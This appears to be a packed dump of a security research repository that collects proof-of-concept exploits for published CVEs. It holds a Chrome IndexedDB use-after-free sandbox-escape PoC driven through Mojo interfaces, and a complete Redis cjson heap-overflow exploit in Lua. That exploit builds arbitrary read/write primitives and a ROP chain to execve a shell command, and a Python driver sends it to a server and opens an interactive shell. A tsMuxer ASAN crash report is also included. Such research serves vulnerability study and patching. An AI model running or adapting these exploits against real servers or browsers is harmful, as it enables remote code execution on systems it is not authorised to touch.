├── .gitmodules
├── CVE-2021-30633
├── README.md
├── poc.html
└── poc.js
├── CVE-2022-24834
├── README.md
├── exploit.lua
└── exploit.py
├── CVE-2024-41209
├── ASAN_REPORT
├── README.md
├── exploit_aaw.py
├── exploit_final_poc.py
├── exploit_min_poc.py
├── exploit_rip.py
├── exploit_shellcode.py
├── exploit_stack_pivot.py
└── mp4dump_result
├── LICENSE
└── README.md
/.gitmodules:
--------------------------------------------------------------------------------
1 | [submodule "CVE-2019-0708"]
2 | path = CVE-2019-0708
3 | url = https://github.com/RICSecLab/CVE-2019-0708
4 |
--------------------------------------------------------------------------------
/CVE-2021-30633/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2021-30633
2 |
3 | ## Description
4 | > Use after free in Indexed DB API in Google Chrome prior to 93.0.4577.82 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page.
5 |
6 | ## Details
7 | TBA
8 |
--------------------------------------------------------------------------------
/CVE-2021-30633/poc.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | PoC
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/CVE-2021-30633/poc.js:
--------------------------------------------------------------------------------
1 | (() => {
2 | "use strict";
3 | var N = 4;
4 | var M = N + 4;
5 | var sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
6 | var reqPromisify = (req, onupgradeneeded = null) => new Promise((resolve, reject) => {
7 | if (onupgradeneeded == null) {
8 | onupgradeneeded = function(ev) {
9 | reject(ev);
10 | };
11 | }
12 | req.onsuccess = function(ev) {
13 | resolve(this.result);
14 | };
15 | req.onerror = function(ev) {
16 | reject(ev);
17 | };
18 | req.onupgradeneeded = onupgradeneeded;
19 | });
20 | function idGenerator(start = 0) {
21 | let id = start;
22 | return () => {
23 | return id++;
24 | };
25 | }
26 | var toString16 = (string) => new mojoBase.mojom.String16({ data: Array.from(string).map((c) => c.charCodeAt(0)) });
27 | var fromString16 = (ms) => ms.data.map((n) => String.fromCharCode(n)).join("");
28 | var getIDBFactory = (() => {
29 | let factory = null;
30 | return () => {
31 | if (!factory) {
32 | factory = new blink.mojom.IDBFactory.ptrClass();
33 | Mojo.bindInterface(blink.mojom.IDBFactory.name, mojo.makeRequest(factory).handle);
34 | }
35 | return factory;
36 | };
37 | })();
38 | var openDatabase = async (name, version) => {
39 | const dbCallback = (() => {
40 | const ptrInfo = new mojo.AssociatedInterfacePtrInfo();
41 | const req = mojo.makeRequest(ptrInfo);
42 | const handlers = {};
43 | const binding = new mojo.AssociatedBinding(blink.mojom.IDBDatabaseCallbacks, handlers, req);
44 | return { ptrInfo, handlers };
45 | })();
46 | const tx = createTransaction(null, [], blink.mojom.IDBTransactionMode.ReadWrite);
47 | const txCallback = (() => {
48 | const ptrInfo = new mojo.AssociatedInterfacePtrInfo();
49 | const req = mojo.makeRequest(ptrInfo);
50 | const handlers = {};
51 | const binding = new mojo.AssociatedBinding(blink.mojom.IDBCallbacks, handlers, req);
52 | return { ptrInfo, handlers };
53 | })();
54 | txCallback["upgradeNeeded"] = function() {
55 | throw Error("upgrade required");
56 | };
57 | const p = new Promise((resolve) => {
58 | txCallback.handlers["successDatabase"] = function(ptr, metaData) {
59 | resolve([ptr, metaData]);
60 | };
61 | });
62 | getIDBFactory().open(txCallback.ptrInfo, dbCallback.ptrInfo, toString16(name), version, tx.req, void 0);
63 | {
64 | const [ptr, metaData] = await p;
65 | return {
66 | ptr: new blink.mojom.IDBDatabaseAssociatedPtr(ptr),
67 | md: metaData
68 | };
69 | }
70 | };
71 | var newTransactionId = idGenerator(1);
72 | var createTransaction = (databasePtr, objectStoreIdList, transactionMode) => {
73 | const ptrInfo = new mojo.AssociatedInterfacePtrInfo();
74 | const req = mojo.makeRequest(ptrInfo);
75 | const ptr = new blink.mojom.IDBTransactionAssociatedPtr(ptrInfo);
76 | const id = newTransactionId();
77 | if (databasePtr) {
78 | databasePtr.createTransaction(req, id, objectStoreIdList, transactionMode, blink.mojom.IDBTransactionDurability.Default);
79 | }
80 | return {
81 | ptrInfo,
82 | req,
83 | ptr,
84 | id
85 | };
86 | };
87 | var VALUE_DB_NAME = "valuedb";
88 | var VALUE_DB_STORE_NAME = "vstore1";
89 | var EXPLOIT_DB_NAME = "pocdb";
90 | var EXPLOIT_DB_STORE_NAME = "xstore1";
91 | var getFileTokenValue = async (ids) => {
92 | const db = await openDatabase(VALUE_DB_NAME, 1);
93 | const os = Array.from(db.md.objectStores.values()).find((os2) => {
94 | return fromString16(os2.name) === VALUE_DB_STORE_NAME;
95 | });
96 | if (!os)
97 | throw Error("No os");
98 | const tx = createTransaction(db.ptr, [os.id], blink.mojom.IDBTransactionMode.ReadOnly);
99 | const data = await Promise.all(ids.map((id) => {
100 | const kr = new blink.mojom.IDBKeyRange({
101 | lower: new blink.mojom.IDBKey({ string: toString16(id) }),
102 | upper: new blink.mojom.IDBKey({ string: toString16(id) }),
103 | lowerOpen: false,
104 | upperOpen: false
105 | });
106 | return db.ptr.get(tx.id, os.id, -1, kr, false);
107 | }));
108 | db.ptr.close();
109 | return data;
110 | };
111 | var prepareFileHandle = async (num) => {
112 | const dbPromise = (async () => {
113 | await reqPromisify(indexedDB.deleteDatabase(VALUE_DB_NAME));
114 | return await reqPromisify(indexedDB.open(VALUE_DB_NAME, 1), function(ev) {
115 | const db2 = this.result;
116 | db2.createObjectStore(VALUE_DB_STORE_NAME, { keyPath: "id" });
117 | });
118 | })();
119 | const [fileHandle] = await window.showOpenFilePicker();
120 | const db = await dbPromise;
121 | const tx = db.transaction([VALUE_DB_STORE_NAME], "readwrite");
122 | const store = tx.objectStore(VALUE_DB_STORE_NAME);
123 | let ids = [];
124 | for (let i = 0; i < num; ++i) {
125 | const id = `file${i}`;
126 | store.put({
127 | "id": id,
128 | "value": fileHandle
129 | });
130 | ids.push(id);
131 | }
132 | await new Promise((resolve, reject) => {
133 | tx.commit();
134 | tx.oncomplete = () => {
135 | resolve();
136 | };
137 | tx.onerror = (err) => {
138 | reject(err);
139 | };
140 | });
141 | db.close();
142 | return ids;
143 | };
144 | var poc = async (round, valueEx) => {
145 | if (round === 0) {
146 | await reqPromisify(indexedDB.deleteDatabase(EXPLOIT_DB_NAME));
147 | (await reqPromisify(indexedDB.open(EXPLOIT_DB_NAME, 1), function() {
148 | const db2 = this.result;
149 | const store = db2.createObjectStore(EXPLOIT_DB_STORE_NAME, {
150 | keyPath: "id"
151 | });
152 | })).close();
153 | }
154 | const db = await openDatabase(EXPLOIT_DB_NAME, 1);
155 | const os = Array.from(db.md.objectStores.values()).find((os2) => fromString16(os2.name) === EXPLOIT_DB_STORE_NAME);
156 | const tx = createTransaction(db.ptr, [os.id], blink.mojom.IDBTransactionMode.ReadWrite);
157 | tx.ptr.commit(0);
158 | for (let i = 0; i < N; ++i) {
159 | const key = new blink.mojom.IDBKey({ string: toString16(`ID_F${i}`) });
160 | tx.ptr.put(os.id, valueEx[i].result.$data.value, key, blink.mojom.IDBPutMode.AddOrUpdate, []);
161 | }
162 | const txPromise = tx.ptr.commit(0);
163 | {
164 | const key = new blink.mojom.IDBKey({ string: toString16(`ID_F${N - 1}`) });
165 | for (let i = N; i < M; ++i) {
166 | tx.ptr.put(os.id, valueEx[i].result.$data.value, key, blink.mojom.IDBPutMode.AddOrUpdate, []);
167 | await sleep(0);
168 | }
169 | }
170 | await txPromise;
171 | db.ptr.close();
172 | };
173 | var main = () => {
174 | console.log("Mojo:", typeof mojo);
175 | console.log("Press [Choose File] button!");
176 | document.getElementById("start_button").addEventListener("click", async function() {
177 | const ids = await prepareFileHandle(M);
178 | for (let i = 0; i < 1e4; ++i) {
179 | console.log("ROUND", i);
180 | this.textContent = `ROUND ${i}`;
181 | const t = await getFileTokenValue(ids);
182 | await poc(i, t);
183 | }
184 | }, { once: true });
185 | };
186 | if (document.readyState === "interactive") {
187 | main();
188 | } else {
189 | document.addEventListener("DOMContentLoaded", main, { once: true });
190 | }
191 | })();
192 |
--------------------------------------------------------------------------------
/CVE-2022-24834/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2022-24834
2 |
3 | ## Description
4 | > Redis is an in-memory database that persists on disk. A specially crafted Lua script executing in Redis can trigger a heap overflow in the cjson library, and result with heap corruption and potentially remote code execution. The problem exists in all versions of Redis with Lua scripting support, starting from 2.6, and affects only authenticated and authorized users. The problem is fixed in versions 7.0.12, 6.2.13, and 6.0.20.
5 |
6 | ## Details
7 |
8 | - [Fuzzing Farm #4: Hunting and Exploiting 0-day (CVE-2022-24834)](https://ricercasecurity.blogspot.com/2023/07/fuzzing-farm-4-hunting-and-exploiting-0.html)
9 | - [Fuzzing Farm #4: 0-dayエクスプロイトの開発 (CVE-2022-24834)](https://ricercasecurity.blogspot.com/2023/07/fuzzing-farm-4-0-day-cve-2022-24834.html)
10 |
--------------------------------------------------------------------------------
/CVE-2022-24834/exploit.lua:
--------------------------------------------------------------------------------
1 | local n_expand = 5462
2 | local n_spray = 0x10000
3 | local string_overhead = 24 + 1 + 8 -- sizeof(TString): 24, NULL terminator: 1, malloc chunk overhead: 8
4 |
5 | local LUA_TNIL = 0
6 | local LUA_TBOOLEAN = 1
7 | local LUA_TLIGHTUSERDATA = 2
8 | local LUA_TNUMBER = 3
9 | local LUA_TSTRING = 4
10 | local LUA_TTABLE = 5
11 | local LUA_TFUNCTION = 6
12 | local LUA_TUSERDATA = 7
13 | local LUA_TTHREAD = 8
14 |
15 | local function exploit()
16 | ---------------
17 | -- Utilities --
18 | ---------------
19 | local function p64(val)
20 | -- 0xcafebabe --> "\xbe\xba\xfe\xca\x00\x00\x00\x00"
21 | local s = ""
22 | for i = 0, 7 do
23 | s = s .. string.char(val % 0x100)
24 | val = math.floor(val / 0x100)
25 | end
26 | return s
27 | end
28 |
29 | local function addrof(obj)
30 | local s = tostring(obj)
31 | if s:sub(1, 1) == "t" then
32 | -- "table: 0xdeadbeef" --> 0xdeadbeef
33 | return tonumber(s:sub(8, s:len()))
34 | else
35 | -- "function: 0xdeadbeef" --> 0xdeadbeef
36 | return tonumber(s:sub(11, s:len()))
37 | end
38 | end
39 |
40 | local function bytes_to_double(data)
41 | -- #data == 8
42 | return struct.unpack('d', data)
43 | end
44 |
45 | local function double_to_int(data)
46 | -- #data == 8
47 | return struct.unpack('L', struct.pack('d', data))
48 | end
49 |
50 | local function int_to_double(data)
51 | -- #data == 8
52 | return struct.unpack('d', struct.pack('L', data))
53 | end
54 |
55 | --
56 | -- Avoid GC
57 | --
58 | local refs = {}
59 | local refs_i = 1
60 | for i=1, 100000 do
61 | refs[i] = 0
62 | end
63 |
64 | --
65 | -- Make 0x40000000 bytes string
66 | --
67 | local b = ''
68 | local number_strings = {}
69 | for i=1,0x40000 do number_strings[i] = string.format("%08x", i) end
70 | b = table.concat(number_strings)
71 | for i=1, 2 do
72 | b = b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b
73 | end
74 |
75 | local string_source = b;
76 |
77 | --
78 | -- Get the "low" address of heap
79 | --
80 | local heap_addr_leaker = {}
81 | local fake_array_base = addrof(heap_addr_leaker)
82 | -- error(("fake_array_base: %x"):format(fake_array_base))
83 |
84 | --
85 | -- Allocate an array used for AAR/AAW
86 | --
87 | local owow_array1 = nil
88 | local owow_array1_addr = nil
89 | for i=1, 100 do
90 | local _arr = {}
91 | local _addr = addrof(_arr)
92 |
93 | refs[refs_i] = _arr
94 | refs_i = refs_i + 1
95 |
96 | if _addr > fake_array_base then
97 | owow_array1 = _arr
98 | owow_array1_addr = _addr
99 | break
100 | end
101 | end
102 | if owow_array1 == nil then
103 | error("failed to allocate owow_array1 behind fake_array_base")
104 | end
105 | for i=1,10000 do
106 | owow_array1[i] = 0
107 | end
108 | -- error(("owow_array1_addr: %x"):format(owow_array1_addr))
109 |
110 | --
111 | -- Create a fake table object
112 | --
113 | local fake_table_template = (
114 | "SSSSSSSSFF" -- (pad for address 0xXXXXXX2'2')
115 | .. "\000\000\000\000\000\000\000\000" -- *next
116 | .. "\005" -- tt (LUA_TTABLE)
117 | .. "\001" -- marked
118 | .. "\000" -- flags
119 | .. "\000\000\000\000\000"
120 | .. "\000\000\000\000\000\000\000\000" -- _padding_
121 | .. "\000\000\000\000\000\000\000\000" -- *metatable
122 | .. p64(fake_array_base) -- *array --> low heap address
123 | .. "\000\000\000\000\000\000\000\000" -- *node
124 | .. "\000\000\000\000\000\000\000\000" -- *lastfree
125 | .. "\000\000\000\000\000\000\000\000" -- *gclist
126 | .. "\255\255\255\127\000\000\000\000" -- sizearray
127 | )
128 | if #fake_table_template ~= 82 then
129 | error(#fake_table_template)
130 | error("DO NOT CHANGE LENGTH")
131 | end
132 |
133 | -- This object will be used later for arbitrary addrof/fakeobj
134 | local leaker_array = {0, 0}
135 | -- error(("leaker_array: %s"):format(tostring(leaker_array)))
136 |
137 | collectgarbage()
138 |
139 | --
140 | -- Prepare heap expander
141 | --
142 | local heap_expand = {}
143 | for i = 1, n_expand do
144 | heap_expand[i] = 0
145 | end
146 |
147 | -- Prepare BOF payload
148 | -- ==[overflow]==>
149 | -- ----+-----------------+
150 | -- | victim chunk |
151 | -- ... | size | data |
152 | -- ----+-----------------+
153 | -- ow_offset |-8 |0
154 | local ow = "1337exploit.1337"
155 | local ow_offset = -16
156 | local evil = string.sub(string_source, 1, n_expand * 0x10000 + 0x1ff90 + 0x4010 + ow_offset - 1) .. ow -- Note: '"' (1 byte) appended.
157 | if #evil * 6 < 0x80000000 then
158 | error("too short")
159 | end
160 | -- error(("#evil: %d"):format(#evil))
161 |
162 | --
163 | -- Prepare fake table & victim table
164 | --
165 | local fakes_s = {}
166 | local fakes_t = {}
167 | local fakes_num = 100
168 | for i=1,fakes_num do
169 | fakes_s[i] = 0
170 | fakes_t[i] = 0
171 | end
172 | for i=1,fakes_num do
173 | fakes_s[i] = fake_table_template .. number_strings[i]
174 | fakes_t[i] = {}
175 | end
176 |
177 | local target_ptr = nil
178 | for i=fakes_num,1,-1 do
179 | -- 0xXXXX22 fake table
180 | -- 0xXXXX80 table
181 | -- Note: Difference of addresses depends on #fakes_s[i]. DO NOT change the length
182 | if tostring(fakes_t[i]):sub(-2) == "80" then
183 | target_ptr = fakes_t[i]
184 | break
185 | end
186 | end
187 | -- error(("target: %s"):format(tostring(target_ptr)))
188 |
189 | --
190 | -- Make these arrays later.
191 | --
192 | local spray_holder = {}
193 | for i=1,128 do
194 | spray_holder[i] = {}
195 | end
196 | -- error(("spray_holder: %s"):format(tostring(spray_holder)))
197 |
198 | --
199 | -- Flush allocator caches
200 | --
201 | for i=1,0x42 do
202 | for j=1,200 do -- To increase reliability, make more iterations.
203 | refs[refs_i] = string.sub(string_source, 8*(j-1)+1, 8*(j-1)+1 + math.max(0, i*0x10 - string_overhead) - 1)
204 | refs_i = refs_i + 1
205 | end
206 | end
207 | for i = 1, 256 do
208 | refs[refs_i] = { string_source:byte(1, 0x1000 - 1 - 5) }
209 | refs_i = refs_i + 1
210 | end
211 |
212 | --
213 | -- Allocate encode_buf from top. (actual chunk size: 0x1ff90)
214 | --
215 | cjson.encode_keep_buffer('on')
216 |
217 | local top = string.sub(string_source, 0, 0x4000 - string_overhead - 1)
218 | local result = cjson.encode(top) -- Note: this allocates 0x4010 bytes for return value.
219 |
220 | --
221 | -- Expand heap to avoid crash
222 | --
223 | for i = 1, n_expand do
224 | -- alloc chunk 0x10000
225 | -- heap_expand[i] = string.sub(string_source, 1 + 8*(i-1), 1 + 8*(i-1) + 0x10000 - string_overhead - 1)
226 |
227 | -- [ALT] alloc chunk 0x50 + 0xffb0
228 | heap_expand[i] = { string_source:byte(1, 0x1000 - 1 - 5) }
229 | end
230 |
231 | --- Now the objects align like the figure below hopefully
232 | --- +------------+----------------------+----------------+
233 | --- | encode_buf | ... garbage data ... | sprayed object |
234 | --- +------------+----------------------+----------------+
235 | for i=1,#spray_holder do
236 | spray_holder[i][1] = target_ptr
237 | end
238 |
239 | --
240 | -- Trigger vulnerability: Heap overflow on encode_buf
241 | --
242 | refs[refs_i] = cjson.encode(evil)
243 | refs_i = refs_i + 1
244 |
245 | --
246 | -- Find the modified object from sprayed objects
247 | --
248 | local fake_array = nil
249 | for i=1,#spray_holder do
250 | -- spray_holder[i][1][1] = 0x1337
251 | local obj = spray_holder[i][1]
252 | if tostring(obj):sub(-2) == "22" then
253 | fake_array = obj
254 | -- error(("found: %d"):format(i))
255 | break
256 | end
257 | end
258 | if fake_array == nil then
259 | error("Bad luck...")
260 | end
261 |
262 | --
263 | -- Make semi-AAW/AAR.
264 | --
265 | -- error(("Table of fake array: %s"):format(tostring(fake_array)))
266 |
267 | -- overwrite array
268 | local ofs = math.floor((owow_array1_addr + 0x20 - fake_array_base) / 0x10)
269 | -- error(("ofs: %d"):format(ofs))
270 | -- error(("data: %d"):format(struct.unpack('d', p64(fake_array_base - 8))))
271 | fake_array[1 + ofs] = struct.unpack('d', p64(fake_array_base - 8))
272 |
273 | -- overwrite array
274 | local ofs = math.floor((owow_array1_addr + 0x28 - (fake_array_base-8)) / 0x10)
275 | owow_array1[1 + ofs] = 0
276 |
277 | -- overwrite size
278 | local ofs = math.floor((owow_array1_addr + 0x40 - fake_array_base) / 0x10)
279 | fake_array[1 + ofs] = bytes_to_double("\255\255\255\127\000\000\000\000")
280 |
281 | local aaw0_base = fake_array_base - 8
282 | local aaw8_base = fake_array_base
283 | local aaw0_array = owow_array1
284 | local aaw8_array = fake_array
285 | -- error(("Table of fake array: %s"):format(tostring(fake_array)))
286 |
287 | local function semi_aaw(addr, value)
288 | -- Warning: This will write 0x03 (qword) tag at addr + 8.
289 | local ofs = math.floor((owow_array1_addr + 0x20 - fake_array_base) / 0x10)
290 | fake_array[1 + ofs] = struct.unpack('d', p64(addr))
291 | owow_array1[1] = value
292 | end
293 |
294 | local function semi_aar(addr)
295 | -- Warning: This requires 0x03 (qword) tag at addr + 8.
296 | local ofs = math.floor((owow_array1_addr + 0x20 - fake_array_base) / 0x10)
297 | fake_array[1 + ofs] = struct.unpack('d', p64(addr))
298 | return owow_array1[1]
299 | end
300 | -- error("[+] semi-AAR/AAW created.")
301 |
302 | --
303 | -- Leak *array of leaker_array
304 | --
305 | semi_aaw(addrof(leaker_array) + 0x28, int_to_double(3)) -- LUA_TNUMBER
306 | local leaker_array_array_addr = double_to_int(semi_aar(addrof(leaker_array) + 0x20)) -- leaker_array->array
307 |
308 | --
309 | -- addrof() for any object
310 | --
311 | local function addrof(obj)
312 | leaker_array[1] = obj
313 | semi_aaw(leaker_array_array_addr + 8, int_to_double(3))
314 | return double_to_int(semi_aar(leaker_array_array_addr))
315 | end
316 |
317 | local function fakeobj(addr, tt)
318 | semi_aaw(leaker_array_array_addr, int_to_double(addr))
319 | semi_aaw(leaker_array_array_addr + 8, int_to_double(tt))
320 | return leaker_array[1]
321 | end
322 |
323 | --
324 | -- Leak proc base
325 | --
326 | local addr_assert = addrof(assert)
327 | semi_aaw(addr_assert + 0x28, int_to_double(3))
328 | -- error("assert: " .. string.format("0x%x", addr_assert))
329 |
330 | local fake_array = (
331 | p64(0) .. p64(0x105)
332 | .. p64(0) .. p64(0)
333 | .. p64(addr_assert + 0x20) .. p64(0)
334 | .. p64(0) .. p64(0)
335 | .. p64(0x7fffffff)
336 | )
337 | local addr_fake_array = addrof(fake_array) + 0x18
338 | -- error("fake array: " .. string.format("0x%x", addr_fake_array))
339 |
340 | local fake_array = fakeobj(addr_fake_array, 5)
341 | local proc_base = double_to_int(fake_array[1]) - 0x175430 -- luaB_assert
342 | -- error("proc base: " .. string.format("0x%x", proc_base))
343 |
344 | --
345 | -- Prepare args
346 | --
347 | local args0 = "/bin/sh"
348 | local args1 = "-c"
349 | local args2 = "/bin/id"
350 | local args = (
351 | p64(addrof(args0) + 0x18)
352 | .. p64(addrof(args1) + 0x18)
353 | .. p64(addrof(args2) + 0x18)
354 | .. p64(0)
355 | )
356 | local addr_args = addrof(args) + 0x18
357 | local rdi = p64(addrof(args0) + 0x18) .. p64(addr_args)
358 |
359 | --
360 | -- Control RIP
361 | --
362 | local addr_execve = proc_base + 0x6a860
363 | local rop_mov_rdi_prax_call_praxP18h = proc_base + 0x1554c8
364 | local rop_xor_edx_edx_xor_esi_esi_mov_rdi_rbp_call_praxP38h = proc_base + 0xa7b55
365 | local rop_mov_rsi_prdiP8h_mov_rdi_prdi_call_praxP10h = proc_base + 0x12718b
366 |
367 | local fake_function = (
368 | p64(addrof(rdi) + 0x18) -- 00h
369 | .. p64(0x010106)
370 | .. p64(addr_execve) -- 10h (4)
371 | .. p64(rop_mov_rsi_prdiP8h_mov_rdi_prdi_call_praxP10h) -- 18h (3)
372 | .. p64(rop_xor_edx_edx_xor_esi_esi_mov_rdi_rbp_call_praxP38h) -- 20h (1)
373 | .. p64(0)
374 | .. p64(0)
375 | .. p64(rop_mov_rdi_prax_call_praxP18h) -- 38h (2)
376 | )
377 | local addr_fake_function = addrof(fake_function) + 0x18
378 | -- error("fake function: " .. string.format("0x%x", addr_fake_function))
379 |
380 | local fake_function = fakeobj(addr_fake_function, 6)
381 | fake_function()
382 | end
383 |
384 | exploit()
385 |
386 |
--------------------------------------------------------------------------------
/CVE-2022-24834/exploit.py:
--------------------------------------------------------------------------------
1 | from ptrlib import *
2 | import string
3 |
4 | def R(data):
5 | if isinstance(data, int):
6 | return f":{data}\r\n".encode()
7 | elif isinstance(data, str):
8 | return f"${len(data)}\r\n{data}\r\n".encode()
9 | elif isinstance(data, bytes):
10 | return f"${len(data)}\r\n".encode() + data + b"\r\n"
11 | elif isinstance(data, list):
12 | return f"*{len(data)}\r\n".encode() + b''.join([R(elm) for elm in data])
13 | elif data is None:
14 | return b"$-1\r\n"
15 | else:
16 | raise ValueError(f"Non-RESP type: {type(data)}")
17 |
18 | def redis_recv(sock):
19 | t = sock.recvonce(1)
20 | if t == b'+' or t == b'-':
21 | return sock.recvuntil("\r\n")[:-2]
22 | elif t == b':':
23 | return int(sock.recvuntil("\r\n")[:-2])
24 | elif t == b'$':
25 | s = int(sock.recvuntil("\r\n")[:-2])
26 | if s == -1:
27 | return None
28 | d = sock.recvonce(s)
29 | sock.recvuntil("\r\n")
30 | return d
31 | elif t == b'*':
32 | s = int(sock.recvuntil("\r\n")[:-2])
33 | return [redis_recv(sock) for i in range(s)]
34 | else:
35 | raise ValueError(f"What is this? {t}")
36 |
37 | def redis_comm(sock, argv):
38 | sock.send(R(argv))
39 | return redis_recv(sock)
40 |
41 | def GET(key):
42 | return redis_comm(sock, ["GET", key])
43 | def EVAL(script):
44 | return redis_comm(sock, ["EVAL", script, "0"])
45 |
46 | HOST = os.getenv("HOST", "localhost")
47 | PORT = os.getenv("PORT", "6379")
48 |
49 | # pwndbg> x/32xg 0x555555a5a000
50 | sock = Socket(HOST, int(PORT))
51 |
52 | r = EVAL(open("exploit.lua", "rb").read())
53 | print(r)
54 |
55 | sock.sh()
56 |
--------------------------------------------------------------------------------
/CVE-2024-41209/ASAN_REPORT:
--------------------------------------------------------------------------------
1 | Summary: ASAN detected heap-buffer-overflow in MovDemuxer::mov_read_trun after a WRITE leading to SIGABRT (si_signo=6) / SI_TKILL (si_code=-6)
2 | Command line: /out/tsmuxer-mov @@
3 | Testcase: /eval/eval-lg/out-mov/crashes/id:000108,sig:06,src:000414,op:more_havoc,rep:64
4 | Crash bucket: 0de1fd7005121d965c0e15ee658aff71
5 |
6 | Crashing thread backtrace:
7 | #0 0x00007ffff79b99fc in __pthread_kill_implementation (/lib/x86_64-linux-gnu/libc.so.6)
8 | at ./nptl/pthread_kill.c:44
9 |
10 | #1 0x00007ffff79b99fc in __pthread_kill_internal (/lib/x86_64-linux-gnu/libc.so.6)
11 | at ./nptl/pthread_kill.c:78
12 |
13 | #2 0x00007ffff79b99fc in __GI___pthread_kill (/lib/x86_64-linux-gnu/libc.so.6)
14 | at ./nptl/pthread_kill.c:89
15 |
16 | #3 0x00007ffff7965476 in __GI_raise (/lib/x86_64-linux-gnu/libc.so.6)
17 | at ../sysdeps/posix/raise.c:26
18 |
19 | #4 0x00007ffff794b7f3 in __GI_abort (/lib/x86_64-linux-gnu/libc.so.6)
20 | at ./stdlib/abort.c:79
21 |
22 | #5 0x0000555555715b27 in __sanitizer::Abort() (r-xp /out/tsmuxer-mov)
23 | #6 0x0000555555713951 in __sanitizer::Die() (r-xp /out/tsmuxer-mov)
24 | #7 0x00005555556f6777 in __asan::ScopedInErrorReport::~ScopedInErrorReport() (r-xp /out/tsmuxer-mov)
25 | #8 0x00005555556f958c in __asan::ReportGenericError(unsigned long, unsigned long, unsigned long, unsigned long, bool, unsigned long, unsigned int, bool) (r-xp /out/tsmuxer-mov)
26 | #9 0x00005555556fa4bb in __asan_report_store4 (r-xp /out/tsmuxer-mov)
27 | #10 0x0000555555a070e0 in MovDemuxer::mov_read_trun (r-xp /out/tsmuxer-mov)
28 | 1068: int MovDemuxer::mov_read_trun(this = (class MovDemuxer *)0x61900000dc80, atom = (struct MovDemuxer::MOVAtom){type = 1853190772, offset = 6318, size = 96}) {
29 | ||||:
30 | ||||: /* Local reference: struct MOVStreamContext * const sc = ; */
31 | 1099: {
32 | 1100: sc->ctts_data.emplace_back();
33 | 1101: sc->ctts_data[sc->ctts_count].count = 1;
34 | ||||:
35 | ----: }
36 | at /src/tsMuxer/tsMuxer/movDemuxer.cpp:1101
37 |
38 | #11 0x00005555559fcee7 in MovDemuxer::ParseTableEntry (r-xp /out/tsmuxer-mov)
39 | 845: int MovDemuxer::ParseTableEntry(this = (class MovDemuxer *), atom = (struct MovDemuxer::MOVAtom){type = 1853190772, offset = 6318, size = 96}) {
40 | |||:
41 | |||: /* Local reference: struct MovDemuxer::MOVAtom atom = {type = 1853190772, offset = 6318, size = 96}; */
42 | 916: return mov_read_trkn(atom);
43 | 917: case MKTAG('t', 'r', 'u', 'n'):
44 | 918: return mov_read_trun(atom);
45 | |||:
46 | ---: }
47 | at /src/tsMuxer/tsMuxer/movDemuxer.cpp:918
48 |
49 | #12 0x00005555559fb759 in MovDemuxer::mov_read_default (r-xp /out/tsmuxer-mov)
50 | 934: int MovDemuxer::mov_read_default(this = (class MovDemuxer *), atom = (struct MovDemuxer::MOVAtom){type = 1717662324, offset = 6278, size = 136}) {
51 | |||:
52 | |||: /* Local reference: const int64_t start_pos = 6318; */
53 | |||: /* Local reference: int err = 0; */
54 | |||: /* Local reference: struct MovDemuxer::MOVAtom a = {type = , offset = 6, size = 96}; */
55 | 971:
56 | 972: const int64_t start_pos = m_processedBytes;
57 | 973: err = ParseTableEntry(a);
58 | |||:
59 | ---: }
60 | at /src/tsMuxer/tsMuxer/movDemuxer.cpp:973
61 |
62 | #13 0x00005555559fc84c in MovDemuxer::ParseTableEntry (r-xp /out/tsmuxer-mov)
63 | 845: int MovDemuxer::ParseTableEntry(this = (class MovDemuxer *), atom = (struct MovDemuxer::MOVAtom){type = 1717662324, offset = 6278, size = 136}) {
64 | |||:
65 | |||: /* Local reference: struct MovDemuxer::MOVAtom atom = {type = 1717662324, offset = 6278, size = 136}; */
66 | 863: case MKTAG('t', 'r', 'a', 'f'):
67 | 864: case MKTAG('u', 'd', 't', 'a'):
68 | 865: return mov_read_default(atom);
69 | |||:
70 | ---: }
71 | at /src/tsMuxer/tsMuxer/movDemuxer.cpp:865
72 |
73 | #14 0x00005555559fb759 in MovDemuxer::mov_read_default (r-xp /out/tsmuxer-mov)
74 | 934: int MovDemuxer::mov_read_default(this = (class MovDemuxer *), atom = (struct MovDemuxer::MOVAtom){type = 1718579053, offset = 6254, size = 160}) {
75 | |||:
76 | |||: /* Local reference: const int64_t start_pos = 6278; */
77 | |||: /* Local reference: int err = 0; */
78 | |||: /* Local reference: struct MovDemuxer::MOVAtom a = {type = , offset = 6, size = 136}; */
79 | 971:
80 | 972: const int64_t start_pos = m_processedBytes;
81 | 973: err = ParseTableEntry(a);
82 | |||:
83 | ---: }
84 | at /src/tsMuxer/tsMuxer/movDemuxer.cpp:973
85 |
86 | #15 0x00005555559fc84c in MovDemuxer::ParseTableEntry (r-xp /out/tsmuxer-mov)
87 | 845: int MovDemuxer::ParseTableEntry(this = (class MovDemuxer *), atom = (struct MovDemuxer::MOVAtom){type = 1718579053, offset = 6254, size = 160}) {
88 | |||:
89 | |||: /* Local reference: struct MovDemuxer::MOVAtom atom = {type = 1718579053, offset = 6254, size = 160}; */
90 | 863: case MKTAG('t', 'r', 'a', 'f'):
91 | 864: case MKTAG('u', 'd', 't', 'a'):
92 | 865: return mov_read_default(atom);
93 | |||:
94 | ---: }
95 | at /src/tsMuxer/tsMuxer/movDemuxer.cpp:865
96 |
97 | #16 0x00005555559fb759 in MovDemuxer::mov_read_default (r-xp /out/tsmuxer-mov)
98 | 934: int MovDemuxer::mov_read_default(this = (class MovDemuxer *), atom = (struct MovDemuxer::MOVAtom){type = 0, offset = 0, size = 9223372036854775807}) {
99 | |||:
100 | |||: /* Local reference: const int64_t start_pos = 6254; */
101 | |||: /* Local reference: int err = 0; */
102 | |||: /* Local reference: struct MovDemuxer::MOVAtom a = {type = , offset = 6, size = 160}; */
103 | 971:
104 | 972: const int64_t start_pos = m_processedBytes;
105 | 973: err = ParseTableEntry(a);
106 | |||:
107 | ---: }
108 | at /src/tsMuxer/tsMuxer/movDemuxer.cpp:973
109 |
110 | #17 0x00005555559f67f7 in MovDemuxer::readHeaders (r-xp /out/tsmuxer-mov)
111 | 689: void MovDemuxer::readHeaders(this = (class MovDemuxer *)0x61900000dc80) {
112 | |||:
113 | |||: /* Local reference: struct MovDemuxer::MOVAtom atom = {type = 0, offset = 0, size = 9223372036854775807}; */
